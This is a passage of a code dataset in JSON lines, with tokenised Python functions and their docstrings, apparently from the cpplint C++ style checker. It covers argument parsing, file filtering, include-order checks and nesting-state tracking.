_line_length<EOL>try:<EOL><INDENT>_line_length = int(val)<EOL><DEDENT>except ValueError:<EOL><INDENT>PrintUsage('<STR_LIT>')<EOL><DEDENT><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>global _excludes<EOL>if not _excludes:<EOL><INDENT>_excludes = set()<EOL><DEDENT>_excludes.update(glob.glob(val))<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>global _valid_extensions<EOL>try:<EOL><INDENT>_valid_extensions = set(val.split('<STR_LIT:U+002C>'))<EOL><DEDENT>except ValueError:<EOL><INDENT>PrintUsage('<STR_LIT>')<EOL><DEDENT><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>global _header_extensions<EOL>try:<EOL><INDENT>_header_extensions = set(val.split('<STR_LIT:U+002C>'))<EOL><DEDENT>except ValueError:<EOL><INDENT>PrintUsage('<STR_LIT>')<EOL><DEDENT><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>recursive = True<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>global _quiet<EOL>_quiet = True<EOL><DEDENT><DEDENT>if not filenames:<EOL><INDENT>PrintUsage('<STR_LIT>')<EOL><DEDENT>if recursive:<EOL><INDENT>filenames = _ExpandDirectories(filenames)<EOL><DEDENT>if _excludes:<EOL><INDENT>filenames = _FilterExcludedFiles(filenames)<EOL><DEDENT>_SetOutputFormat(output_format)<EOL>_SetVerboseLevel(verbosity)<EOL>_SetFilters(filters)<EOL>_SetCountingStyle(counting_style)<EOL>return filenames<EOL>", "docstring": "Parses the command line arguments.\n\n    This may set the output format and verbosity level as side-effects.\n\n    Args:\n      args: The command line arguments:\n\n    Returns:\n      The list of filenames to lint.", "id": "f7245:m103"}
{"signature": "def _ExpandDirectories(filenames):", "body": "expanded = set()<EOL>for filename in filenames:<EOL><INDENT>if not os.path.isdir(filename):<EOL><INDENT>expanded.add(filename)<EOL>continue<EOL><DEDENT>for root, _, files in os.walk(filename):<EOL><INDENT>for loopfile in files:<EOL><INDENT>fullname = os.path.join(root, loopfile)<EOL>if fullname.startswith('<STR_LIT:.>' + os.path.sep):<EOL><INDENT>fullname = fullname[len('<STR_LIT:.>' + os.path.sep):]<EOL><DEDENT>expanded.add(fullname)<EOL><DEDENT><DEDENT><DEDENT>filtered = []<EOL>for filename in expanded:<EOL><INDENT>if os.path.splitext(filename)[<NUM_LIT:1>][<NUM_LIT:1>:] in GetAllExtensions():<EOL><INDENT>filtered.append(filename)<EOL><DEDENT><DEDENT>return filtered<EOL>", "docstring": "Searches a list of filenames and replaces directories in the list with\n    all files descending from those directories. Files with extensions not in\n    the valid extensions list are excluded.\n\n    Args:\n      filenames: A list of files or directories\n\n    Returns:\n      A list of all files that are members of filenames or descended from a\n      directory in filenames", "id": "f7245:m104"}
{"signature": "def _FilterExcludedFiles(filenames):", "body": "exclude_paths = [os.path.abspath(f) for f in _excludes]<EOL>return [f for f in filenames if os.path.abspath(f) not in exclude_paths]<EOL>", "docstring": "Filters out files listed in the --exclude command line switch. File paths\n    in the switch are evaluated relative to the current working directory", "id": "f7245:m105"}
{"signature": "def FindHeader(self, header):", "body": "for section_list in self.include_list:<EOL><INDENT>for f in section_list:<EOL><INDENT>if f[<NUM_LIT:0>] == header:<EOL><INDENT>return f[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>return -<NUM_LIT:1><EOL>", "docstring": "Check if a header has already been included.\n\n        Args:\n          header: header to check.\n        Returns:\n          Line number of previous occurrence, or -1 if the header has not\n          been seen before.", "id": "f7245:c0:m1"}
{"signature": "def ResetSection(self, directive):", "body": "<EOL>self._section = self._INITIAL_SECTION<EOL>self._last_header = '<STR_LIT>'<EOL>if directive in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self.include_list.append([])<EOL><DEDENT>elif directive in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self.include_list[-<NUM_LIT:1>] = []<EOL><DEDENT>", "docstring": "Reset section checking for preprocessor directive.\n\n        Args:\n          directive: preprocessor directive (e.g. \"if\", \"else\").", "id": "f7245:c0:m2"}
{"signature": "def CanonicalizeAlphabeticalOrder(self, header_path):", "body": "return header_path.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT:->', '<STR_LIT:_>').lower()<EOL>", "docstring": "Returns a path canonicalized for alphabetical comparison.\n\n        - replaces \"-\" with \"_\" so they both cmp the same.\n        - removes '-inl' since we don't require them to be after the main header.\n        - lowercase everything, just in case.\n\n        Args:\n          header_path: Path to be canonicalized.\n\n        Returns:\n          Canonicalized path.", "id": "f7245:c0:m4"}
{"signature": "def IsInAlphabeticalOrder(self, clean_lines, linenum, header_path):", "body": "<EOL>if (self._last_header > header_path and<EOL>Match(r'<STR_LIT>', clean_lines.elided[linenum - <NUM_LIT:1>])):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if a header is in alphabetical order with the previous header.\n\n        Args:\n          clean_lines: A CleansedLines instance containing the file.\n          linenum: The number of the line to check.\n          header_path: Canonicalized header to be checked.\n\n        Returns:\n          Returns true if the header is in alphabetical order.", "id": "f7245:c0:m5"}
{"signature": "def CheckNextIncludeOrder(self, header_type):", "body": "error_message = ('<STR_LIT>' %<EOL>(self._TYPE_NAMES[header_type],<EOL>self._SECTION_NAMES[self._section]))<EOL>last_section = self._section<EOL>if header_type == _C_SYS_HEADER:<EOL><INDENT>if self._section <= self._C_SECTION:<EOL><INDENT>self._section = self._C_SECTION<EOL><DEDENT>else:<EOL><INDENT>self._last_header = '<STR_LIT>'<EOL>return error_message<EOL><DEDENT><DEDENT>elif header_type == _CPP_SYS_HEADER:<EOL><INDENT>if self._section <= self._CPP_SECTION:<EOL><INDENT>self._section = self._CPP_SECTION<EOL><DEDENT>else:<EOL><INDENT>self._last_header = '<STR_LIT>'<EOL>return error_message<EOL><DEDENT><DEDENT>elif header_type == _LIKELY_MY_HEADER:<EOL><INDENT>if self._section <= self._MY_H_SECTION:<EOL><INDENT>self._section = self._MY_H_SECTION<EOL><DEDENT>else:<EOL><INDENT>self._section = self._OTHER_H_SECTION<EOL><DEDENT><DEDENT>elif header_type == _POSSIBLE_MY_HEADER:<EOL><INDENT>if self._section <= self._MY_H_SECTION:<EOL><INDENT>self._section = self._MY_H_SECTION<EOL><DEDENT>else:<EOL><INDENT>self._section = self._OTHER_H_SECTION<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert header_type == _OTHER_HEADER<EOL>self._section = self._OTHER_H_SECTION<EOL><DEDENT>if last_section != self._section:<EOL><INDENT>self._last_header = '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Returns a non-empty error message if the next header is out of order.\n\n        This function also updates the internal state to be ready to check\n        the next include.\n\n        Args:\n          header_type: One of the _XXX_HEADER constants defined above.\n\n        Returns:\n          The empty string if the header is in the right order, or an\n          error message describing what's wrong.", "id": "f7245:c0:m6"}
{"signature": "def SetOutputFormat(self, output_format):", "body": "self.output_format = output_format<EOL>", "docstring": "Sets the output format for errors.", "id": "f7245:c1:m1"}
{"signature": "def SetVerboseLevel(self, level):", "body": "last_verbose_level = self.verbose_level<EOL>self.verbose_level = level<EOL>return last_verbose_level<EOL>", "docstring": "Sets the module's verbosity, and returns the previous setting.", "id": "f7245:c1:m2"}
{"signature": "def SetCountingStyle(self, counting_style):", "body": "self.counting = counting_style<EOL>", "docstring": "Sets the module's counting options.", "id": "f7245:c1:m3"}
{"signature": "def SetFilters(self, filters):", "body": "<EOL>self.filters = _DEFAULT_FILTERS[:]<EOL>self.AddFilters(filters)<EOL>", "docstring": "Sets the error-message filters.\n\n        These filters are applied when deciding whether to emit a given\n        error message.\n\n        Args:\n          filters: A string of comma-separated filters (eg \"+whitespace/indent\").\n                   Each filter should start with + or -; else we die.\n\n        Raises:\n          ValueError: The comma-separated filters did not all start with '+' or '-'.\n                      E.g. \"-,+whitespace,-whitespace/indent,whitespace/badfilter\"", "id": "f7245:c1:m4"}
{"signature": "def AddFilters(self, filters):", "body": "for filt in filters.split('<STR_LIT:U+002C>'):<EOL><INDENT>clean_filt = filt.strip()<EOL>if clean_filt:<EOL><INDENT>self.filters.append(clean_filt)<EOL><DEDENT><DEDENT>for filt in self.filters:<EOL><INDENT>if not (filt.startswith('<STR_LIT:+>') or filt.startswith('<STR_LIT:->')):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % filt)<EOL><DEDENT><DEDENT>", "docstring": "Adds more filters to the existing list of error-message filters.", "id": "f7245:c1:m5"}
{"signature": "def BackupFilters(self):", "body": "self._filters_backup = self.filters[:]<EOL>", "docstring": "Saves the current filter list to backup storage.", "id": "f7245:c1:m6"}
{"signature": "def RestoreFilters(self):", "body": "self.filters = self._filters_backup[:]<EOL>", "docstring": "Restores filters previously backed up.", "id": "f7245:c1:m7"}
{"signature": "def ResetErrorCounts(self):", "body": "self.error_count = <NUM_LIT:0><EOL>self.errors_by_category = {}<EOL>", "docstring": "Sets the module's error statistic back to zero.", "id": "f7245:c1:m8"}
{"signature": "def IncrementErrorCount(self, category):", "body": "self.error_count += <NUM_LIT:1><EOL>if self.counting in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if self.counting != '<STR_LIT>':<EOL><INDENT>category = category.split('<STR_LIT:/>')[<NUM_LIT:0>]<EOL><DEDENT>if category not in self.errors_by_category:<EOL><INDENT>self.errors_by_category[category] = <NUM_LIT:0><EOL><DEDENT>self.errors_by_category[category] += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Bumps the module's error statistic.", "id": "f7245:c1:m9"}
{"signature": "def PrintErrorCounts(self):", "body": "for category, count in sorted(iteritems(self.errors_by_category)):<EOL><INDENT>self.PrintInfo('<STR_LIT>' %<EOL>(category, count))<EOL><DEDENT>if self.error_count > <NUM_LIT:0>:<EOL><INDENT>self.PrintInfo('<STR_LIT>' % self.error_count)<EOL><DEDENT>", "docstring": "Print a summary of errors by category, and the total.", "id": "f7245:c1:m10"}
{"signature": "def Begin(self, function_name):", "body": "self.in_a_function = True<EOL>self.lines_in_function = <NUM_LIT:0><EOL>self.current_function = function_name<EOL>", "docstring": "Start analyzing function body.\n\n        Args:\n          function_name: The name of the function being tracked.", "id": "f7245:c2:m1"}
{"signature": "def Count(self):", "body": "if self.in_a_function:<EOL><INDENT>self.lines_in_function += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Count line in current function body.", "id": "f7245:c2:m2"}
{"signature": "def Check(self, error, filename, linenum):", "body": "if not self.in_a_function:<EOL><INDENT>return<EOL><DEDENT>if Match(r'<STR_LIT>', self.current_function):<EOL><INDENT>base_trigger = self._TEST_TRIGGER<EOL><DEDENT>else:<EOL><INDENT>base_trigger = self._NORMAL_TRIGGER<EOL><DEDENT>trigger = base_trigger * <NUM_LIT:2>**_VerboseLevel()<EOL>if self.lines_in_function > trigger:<EOL><INDENT>error_level = int(math.log(self.lines_in_function / base_trigger, <NUM_LIT:2>))<EOL>if error_level > <NUM_LIT:5>:<EOL><INDENT>error_level = <NUM_LIT:5><EOL><DEDENT>error(filename, linenum, '<STR_LIT>', error_level,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'  % (<EOL>self.current_function, self.lines_in_function, trigger))<EOL><DEDENT>", "docstring": "Report if too many lines in function body.\n\n        Args:\n          error: The function to call with any errors found.\n          filename: The name of the current file.\n          linenum: The number of the line to check.", "id": "f7245:c2:m3"}
{"signature": "def End(self):", "body": "self.in_a_function = False<EOL>", "docstring": "Stop analyzing function body.", "id": "f7245:c2:m4"}
{"signature": "def FullName(self):", "body": "return os.path.abspath(self._filename).replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>", "docstring": "Make Windows paths like Unix.", "id": "f7245:c4:m1"}
{"signature": "def RepositoryName(self):", "body": "fullname = self.FullName()<EOL>if os.path.exists(fullname):<EOL><INDENT>project_dir = os.path.dirname(fullname)<EOL>if _repository:<EOL><INDENT>repo = FileInfo(_repository).FullName()<EOL>root_dir = project_dir<EOL>while os.path.exists(root_dir):<EOL><INDENT>if os.path.normcase(root_dir) == os.path.normcase(repo):<EOL><INDENT>return os.path.relpath(fullname, root_dir).replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL><DEDENT>one_up_dir = os.path.dirname(root_dir)<EOL>if one_up_dir == root_dir:<EOL><INDENT>break<EOL><DEDENT>root_dir = one_up_dir<EOL><DEDENT><DEDENT>if os.path.exists(os.path.join(project_dir, \"<STR_LIT>\")):<EOL><INDENT>root_dir = project_dir<EOL>one_up_dir = os.path.dirname(root_dir)<EOL>while os.path.exists(os.path.join(one_up_dir, \"<STR_LIT>\")):<EOL><INDENT>root_dir = os.path.dirname(root_dir)<EOL>one_up_dir = os.path.dirname(one_up_dir)<EOL><DEDENT>prefix = os.path.commonprefix([root_dir, project_dir])<EOL>return fullname[len(prefix) + <NUM_LIT:1>:]<EOL><DEDENT>root_dir = current_dir = os.path.dirname(fullname)<EOL>while current_dir != os.path.dirname(current_dir):<EOL><INDENT>if (os.path.exists(os.path.join(current_dir, \"<STR_LIT>\")) or<EOL>os.path.exists(os.path.join(current_dir, \"<STR_LIT>\")) or<EOL>os.path.exists(os.path.join(current_dir, \"<STR_LIT>\"))):<EOL><INDENT>root_dir = current_dir<EOL><DEDENT>current_dir = os.path.dirname(current_dir)<EOL><DEDENT>if (os.path.exists(os.path.join(root_dir, \"<STR_LIT>\")) or<EOL>os.path.exists(os.path.join(root_dir, \"<STR_LIT>\")) or<EOL>os.path.exists(os.path.join(root_dir, \"<STR_LIT>\"))):<EOL><INDENT>prefix = os.path.commonprefix([root_dir, project_dir])<EOL>return fullname[len(prefix) + <NUM_LIT:1>:]<EOL><DEDENT><DEDENT>return fullname<EOL>", "docstring": "r\"\"\"FullName after removing the local path to the repository.\n\n        If we have a real absolute path name here we can try to do something smart:\n        detecting the root of the checkout and truncating /path/to/checkout from\n        the name so that we get header guards that don't include things like\n        \"C:\\Documents and Settings\\...\" or \"/home/username/...\" in them and thus\n        people on different computers who have checked the source out to different\n        locations won't see bogus errors.", "id": "f7245:c4:m2"}
{"signature": "def Split(self):", "body": "googlename = self.RepositoryName()<EOL>project, rest = os.path.split(googlename)<EOL>return (project,) + os.path.splitext(rest)<EOL>", "docstring": "Splits the file into the directory, basename, and extension.\n\n        For 'chrome/browser/browser.cc', Split() would\n        return ('chrome/browser', 'browser', '.cc')\n\n        Returns:\n          A tuple of (directory, basename, extension).", "id": "f7245:c4:m3"}
{"signature": "def BaseName(self):", "body": "return self.Split()[<NUM_LIT:1>]<EOL>", "docstring": "File base name - text after the final slash, before the final period.", "id": "f7245:c4:m4"}
{"signature": "def Extension(self):", "body": "return self.Split()[<NUM_LIT:2>]<EOL>", "docstring": "File extension - text following the final period, includes that period.", "id": "f7245:c4:m5"}
{"signature": "def NoExtension(self):", "body": "return '<STR_LIT:/>'.join(self.Split()[<NUM_LIT:0>:<NUM_LIT:2>])<EOL>", "docstring": "File has no source file extension.", "id": "f7245:c4:m6"}
{"signature": "def IsSource(self):", "body": "return _IsSourceExtension(self.Extension()[<NUM_LIT:1>:])<EOL>", "docstring": "File has a source file extension.", "id": "f7245:c4:m7"}
{"signature": "def NumLines(self):", "body": "return self.num_lines<EOL>", "docstring": "Returns the number of lines represented.", "id": "f7245:c5:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _CollapseStrings(elided):<DEDENT>", "body": "if _RE_PATTERN_INCLUDE.match(elided):<EOL><INDENT>return elided<EOL><DEDENT>elided = _RE_PATTERN_CLEANSE_LINE_ESCAPES.sub('<STR_LIT>', elided)<EOL>collapsed = '<STR_LIT>'<EOL>while True:<EOL><INDENT>match = Match(r'<STR_LIT>', elided)<EOL>if not match:<EOL><INDENT>collapsed += elided<EOL>break<EOL><DEDENT>head, quote, tail = match.groups()<EOL>if quote == '<STR_LIT:\">':<EOL><INDENT>second_quote = tail.find('<STR_LIT:\">')<EOL>if second_quote >= <NUM_LIT:0>:<EOL><INDENT>collapsed += head + '<STR_LIT>'<EOL>elided = tail[second_quote + <NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>collapsed += elided<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if Search(r'<STR_LIT>', head):<EOL><INDENT>match_literal = Match(r'<STR_LIT>', \"<STR_LIT:'>\" + tail)<EOL>collapsed += head + match_literal.group(<NUM_LIT:1>).replace(\"<STR_LIT:'>\", '<STR_LIT>')<EOL>elided = match_literal.group(<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>second_quote = tail.find('<STR_LIT>')<EOL>if second_quote >= <NUM_LIT:0>:<EOL><INDENT>collapsed += head + \"<STR_LIT>\"<EOL>elided = tail[second_quote + <NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>collapsed += elided<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return collapsed<EOL>", "docstring": "Collapses strings and chars on a line to simple \"\" or '' blocks.\n\n        We nix strings first so we're not fooled by text like '\"http://\"'\n\n        Args:\n          elided: The line being processed.\n\n        Returns:\n          The line with collapsed strings.", "id": "f7245:c5:m2"}
{"signature": "def CheckBegin(self, filename, clean_lines, linenum, error):", "body": "pass<EOL>", "docstring": "Run checks that applies to text up to the opening brace.\n\n        This is mostly for checking the text after the class identifier\n        and the \"{\", usually where the base class is specified.  For other\n        blocks, there isn't much to check, so we always pass.\n\n        Args:\n          filename: The name of the current file.\n          clean_lines: A CleansedLines instance containing the file.\n          linenum: The number of the line to check.\n          error: The function to call with any errors found.", "id": "f7245:c6:m1"}
{"signature": "def CheckEnd(self, filename, clean_lines, linenum, error):", "body": "pass<EOL>", "docstring": "Run checks that applies to text after the closing brace.\n\n        This is mostly used for checking end of namespace comments.\n\n        Args:\n          filename: The name of the current file.\n          clean_lines: A CleansedLines instance containing the file.\n          linenum: The number of the line to check.\n          error: The function to call with any errors found.", "id": "f7245:c6:m2"}
{"signature": "def IsBlockInfo(self):", "body": "return self.__class__ == _BlockInfo<EOL>", "docstring": "Returns true if this block is a _BlockInfo.\n\n        This is convenient for verifying that an object is an instance of\n        a _BlockInfo, but not an instance of any of the derived classes.\n\n        Returns:\n          True for this class, False for derived classes.", "id": "f7245:c6:m3"}
{"signature": "def CheckEnd(self, filename, clean_lines, linenum, error):", "body": "line = clean_lines.raw_lines[linenum]<EOL>if (linenum - self.starting_linenum < <NUM_LIT:10><EOL>and not Match(r'<STR_LIT>', line)):<EOL><INDENT>return<EOL><DEDENT>if self.name:<EOL><INDENT>if not Match((r'<STR_LIT>' +<EOL>re.escape(self.name) + r'<STR_LIT>'),<EOL>line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' %<EOL>self.name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not Match(r'<STR_LIT>', line):<EOL><INDENT>if Match(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Check end of namespace comments.", "id": "f7245:c9:m1"}
{"signature": "def SeenOpenBrace(self):", "body": "return (not self.stack) or self.stack[-<NUM_LIT:1>].seen_open_brace<EOL>", "docstring": "Check if we have seen the opening brace for the innermost block.\n\n        Returns:\n          True if we have seen the opening brace, False if the innermost\n          block is still expecting an opening brace.", "id": "f7245:c11:m1"}
{"signature": "def InNamespaceBody(self):", "body": "return self.stack and isinstance(self.stack[-<NUM_LIT:1>], _NamespaceInfo)<EOL>", "docstring": "Check if we are currently one level inside a namespace body.\n\n        Returns:\n          True if top of the stack is a namespace block, False otherwise.", "id": "f7245:c11:m2"}
{"signature": "def InExternC(self):", "body": "return self.stack and isinstance(self.stack[-<NUM_LIT:1>], _ExternCInfo)<EOL>", "docstring": "Check if we are currently one level inside an 'extern \"C\"' block.\n\n        Returns:\n          True if top of the stack is an extern block, False otherwise.", "id": "f7245:c11:m3"}
{"signature": "def InClassDeclaration(self):", "body": "return self.stack and isinstance(self.stack[-<NUM_LIT:1>], _ClassInfo)<EOL>", "docstring": "Check if we are currently one level inside a class or struct declaration.\n\n        Returns:\n          True if top of the stack is a class/struct, False otherwise.", "id": "f7245:c11:m4"}
{"signature": "def InAsmBlock(self):", "body": "return self.stack and self.stack[-<NUM_LIT:1>].inline_asm != _NO_ASM<EOL>", "docstring": "Check if we are currently one level inside an inline ASM block.\n\n        Returns:\n          True if the top of the stack is a block containing inline ASM.", "id": "f7245:c11:m5"}
{"signature": "def InTemplateArgumentList(self, clean_lines, linenum, pos):", "body": "while linenum < clean_lines.NumLines():<EOL><INDENT>line = clean_lines.elided[linenum]<EOL>match = Match(r'<STR_LIT>', line[pos:])<EOL>if not match:<EOL><INDENT>linenum += <NUM_LIT:1><EOL>pos = <NUM_LIT:0><EOL>continue<EOL><DEDENT>token = match.group(<NUM_LIT:1>)<EOL>pos += len(match.group(<NUM_LIT:0>))<EOL>if token in ('<STR_LIT:{>', '<STR_LIT:}>', '<STR_LIT:;>'): return False<EOL>if token in ('<STR_LIT:>>', '<STR_LIT:=>', '<STR_LIT:[>', '<STR_LIT:]>', '<STR_LIT:.>'): return True<EOL>if token != '<STR_LIT:<>':<EOL><INDENT>pos += <NUM_LIT:1><EOL>if pos >= len(line):<EOL><INDENT>linenum += <NUM_LIT:1><EOL>pos = <NUM_LIT:0><EOL><DEDENT>continue<EOL><DEDENT>(_, end_line, end_pos) = CloseExpression(clean_lines, linenum, pos - <NUM_LIT:1>)<EOL>if end_pos < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>linenum = end_line<EOL>pos = end_pos<EOL><DEDENT>return False<EOL>", "docstring": "Check if current position is inside template argument list.\n\n        Args:\n          clean_lines: A CleansedLines instance containing the file.\n          linenum: The number of the line to check.\n          pos: position just after the suspected template argument.\n        Returns:\n          True if (linenum, pos) is inside template arguments.", "id": "f7245:c11:m6"}
{"signature": "def UpdatePreprocessor(self, line):", "body": "if Match(r'<STR_LIT>', line):<EOL><INDENT>self.pp_stack.append(_PreprocessorInfo(copy.deepcopy(self.stack)))<EOL><DEDENT>elif Match(r'<STR_LIT>', line):<EOL><INDENT>if self.pp_stack:<EOL><INDENT>if not self.pp_stack[-<NUM_LIT:1>].seen_else:<EOL><INDENT>self.pp_stack[-<NUM_LIT:1>].seen_else = True<EOL>self.pp_stack[-<NUM_LIT:1>].stack_before_else = copy.deepcopy(self.stack)<EOL><DEDENT>self.stack = copy.deepcopy(self.pp_stack[-<NUM_LIT:1>].stack_before_if)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>elif Match(r'<STR_LIT>', line):<EOL><INDENT>if self.pp_stack:<EOL><INDENT>if self.pp_stack[-<NUM_LIT:1>].seen_else:<EOL><INDENT>self.stack = self.pp_stack[-<NUM_LIT:1>].stack_before_else<EOL><DEDENT>self.pp_stack.pop()<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Update preprocessor stack.\n\n        We need to handle preprocessors due to classes like this:\n          #ifdef SWIG\n          struct ResultDetailsPageElementExtensionPoint {\n          #else\n          struct ResultDetailsPageElementExtensionPoint : public Extension {\n          #endif\n\n        We make the following assumptions (good enough for most files):\n        - Preprocessor condition evaluates to true from #if up to first\n          #else/#elif/#endif.\n\n        - Preprocessor condition evaluates to false from #else/#elif up\n          to #endif.  We still perform lint checks on these lines, but\n          these do not affect nesting stack.\n\n        Args:\n          line: current line to check.", "id": "f7245:c11:m7"}
{"signature": "def Update(self, filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>if self.stack:<EOL><INDENT>self.previous_stack_top = self.stack[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>self.previous_stack_top = None<EOL><DEDENT>self.UpdatePreprocessor(line)<EOL>if self.stack:<EOL><INDENT>inner_block = self.stack[-<NUM_LIT:1>]<EOL>depth_change = line.count('<STR_LIT:(>') - line.count('<STR_LIT:)>')<EOL>inner_block.open_parentheses += depth_change<EOL>if inner_block.inline_asm in (_NO_ASM, _END_ASM):<EOL><INDENT>if (depth_change != <NUM_LIT:0> and<EOL>inner_block.open_parentheses == <NUM_LIT:1> and<EOL>_MATCH_ASM.match(line)):<EOL><INDENT>inner_block.inline_asm = _INSIDE_ASM<EOL><DEDENT>else:<EOL><INDENT>inner_block.inline_asm = _NO_ASM<EOL><DEDENT><DEDENT>elif (inner_block.inline_asm == _INSIDE_ASM and<EOL>inner_block.open_parentheses == <NUM_LIT:0>):<EOL><INDENT>inner_block.inline_asm = _END_ASM<EOL><DEDENT><DEDENT>while True:<EOL><INDENT>namespace_decl_match = Match(r'<STR_LIT>', line)<EOL>if not namespace_decl_match:<EOL><INDENT>break<EOL><DEDENT>new_namespace = _NamespaceInfo(namespace_decl_match.group(<NUM_LIT:1>), linenum)<EOL>self.stack.append(new_namespace)<EOL>line = namespace_decl_match.group(<NUM_LIT:2>)<EOL>if line.find('<STR_LIT:{>') != -<NUM_LIT:1>:<EOL><INDENT>new_namespace.seen_open_brace = True<EOL>line = line[line.find('<STR_LIT:{>') + <NUM_LIT:1>:]<EOL><DEDENT><DEDENT>class_decl_match = Match(<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>', line)<EOL>if (class_decl_match and<EOL>(not self.stack or self.stack[-<NUM_LIT:1>].open_parentheses == <NUM_LIT:0>)):<EOL><INDENT>end_declaration = len(class_decl_match.group(<NUM_LIT:1>))<EOL>if not self.InTemplateArgumentList(clean_lines, linenum, end_declaration):<EOL><INDENT>self.stack.append(_ClassInfo(<EOL>class_decl_match.group(<NUM_LIT:3>), class_decl_match.group(<NUM_LIT:2>),<EOL>clean_lines, linenum))<EOL>line = class_decl_match.group(<NUM_LIT:4>)<EOL><DEDENT><DEDENT>if not self.SeenOpenBrace():<EOL><INDENT>self.stack[-<NUM_LIT:1>].CheckBegin(filename, clean_lines, linenum, error)<EOL><DEDENT>if self.stack and isinstance(self.stack[-<NUM_LIT:1>], _ClassInfo):<EOL><INDENT>classinfo = self.stack[-<NUM_LIT:1>]<EOL>access_match = Match(<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>',<EOL>line)<EOL>if access_match:<EOL><INDENT>classinfo.access = access_match.group(<NUM_LIT:2>)<EOL>indent = access_match.group(<NUM_LIT:1>)<EOL>if (len(indent) != classinfo.class_indent + <NUM_LIT:1> and<EOL>Match(r'<STR_LIT>', indent)):<EOL><INDENT>if classinfo.is_struct:<EOL><INDENT>parent = '<STR_LIT>' + classinfo.name<EOL><DEDENT>else:<EOL><INDENT>parent = '<STR_LIT>' + classinfo.name<EOL><DEDENT>slots = '<STR_LIT>'<EOL>if access_match.group(<NUM_LIT:3>):<EOL><INDENT>slots = access_match.group(<NUM_LIT:3>)<EOL><DEDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>' % (<EOL>access_match.group(<NUM_LIT:2>), slots, parent))<EOL><DEDENT><DEDENT><DEDENT>while True:<EOL><INDENT>matched = Match(r'<STR_LIT>', line)<EOL>if not matched:<EOL><INDENT>break<EOL><DEDENT>token = matched.group(<NUM_LIT:1>)<EOL>if token == '<STR_LIT:{>':<EOL><INDENT>if not self.SeenOpenBrace():<EOL><INDENT>self.stack[-<NUM_LIT:1>].seen_open_brace = True<EOL><DEDENT>elif Match(r'<STR_LIT>', line):<EOL><INDENT>self.stack.append(_ExternCInfo(linenum))<EOL><DEDENT>else:<EOL><INDENT>self.stack.append(_BlockInfo(linenum, True))<EOL>if _MATCH_ASM.match(line):<EOL><INDENT>self.stack[-<NUM_LIT:1>].inline_asm = _BLOCK_ASM<EOL><DEDENT><DEDENT><DEDENT>elif token == '<STR_LIT:;>' or token == '<STR_LIT:)>':<EOL><INDENT>if not self.SeenOpenBrace():<EOL><INDENT>self.stack.pop()<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>if self.stack:<EOL><INDENT>self.stack[-<NUM_LIT:1>].CheckEnd(filename, clean_lines, linenum, error)<EOL>self.stack.pop()<EOL><DEDENT><DEDENT>line = matched.group(<NUM_LIT:2>)<EOL><DEDENT>", "docstring": "Update nesting state with current line.\n\n        Args:\n          filename: The name of the current file.\n          clean_lines: A CleansedLines instance containing the file.\n          linenum: The number of the line to check.\n          error: The function to call with any errors found.", "id": "f7245:c11:m8"}
{"signature": "def InnermostClass(self):", "body": "for i in range(len(self.stack), <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>classinfo = self.stack[i - <NUM_LIT:1>]<EOL>if isinstance(classinfo, _ClassInfo):<EOL><INDENT>return classinfo<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Get class info on the top of the stack.\n\n        Returns:\n          A _ClassInfo object if we are inside a class, or None otherwise.", "id": "f7245:c11:m9"}
